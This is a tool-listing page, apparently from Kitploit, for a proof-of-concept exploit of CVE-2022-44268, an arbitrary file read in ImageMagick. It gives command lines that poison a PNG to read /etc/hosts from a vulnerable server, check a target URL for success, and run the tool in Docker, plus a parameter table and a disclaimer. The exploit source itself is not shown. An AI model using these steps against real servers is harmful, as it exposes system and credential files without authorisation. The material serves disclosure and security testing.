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CVE-2022-44268 — CVE-2022-44268 ImageMagick Arbitrary File Read - Proof of Concept exploit | Kitploit
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CVE-2022-44268

CVE-2022-44268 ImageMagick Arbitrary File Read - Proof of Concept exploit

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CVE-2022-44268 ImageMagick Arbitrary File Read - Proof of Concept exploit

Video 📼

https://youtu.be/quKxwNAMBIA

Usage 🛠

Poison the image ☣️

root@kitploit:~
python3 CVE-2022-44268.py --image imagetopoison.png --file-to-read /etc/hosts --output poisoned.png
root@kitploit:~
Upload poisoned PNG image.

Check if exploit was successful 🗡

root@kitploit:~
python3 CVE-2022-44268.py --url http://vulnerable-imagemagick.com/uploads/vulnerable.png

Running from Docker 🐳

Build

root@kitploit:~
docker build -t cve-2022-44268 .

Run

root@kitploit:~
docker run -v $(pwd)/data:/data -ti cve-2022-44268 --image /data/random.png --file-to-read "/etc/hosts" --output /data/poisoned.png

Parameters 🧰

Contact Me📇

Twitter - Milan Jovic

LinkedIn - Milan Jovic

Educational purposes only and cannot be used for law violation or personal gain.

The author of this project is not responsible for any possible harm caused by the materials of this project.

More details: https://www.metabaseq.com/imagemagick-zero-days/

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ParameterDescriptionType
--urlThe URL of the uploaded PNG imageString
--imageInput PNG fileFile
--outputOutput PNG fileFile
--file-to-readFile to read from vulnerable hostString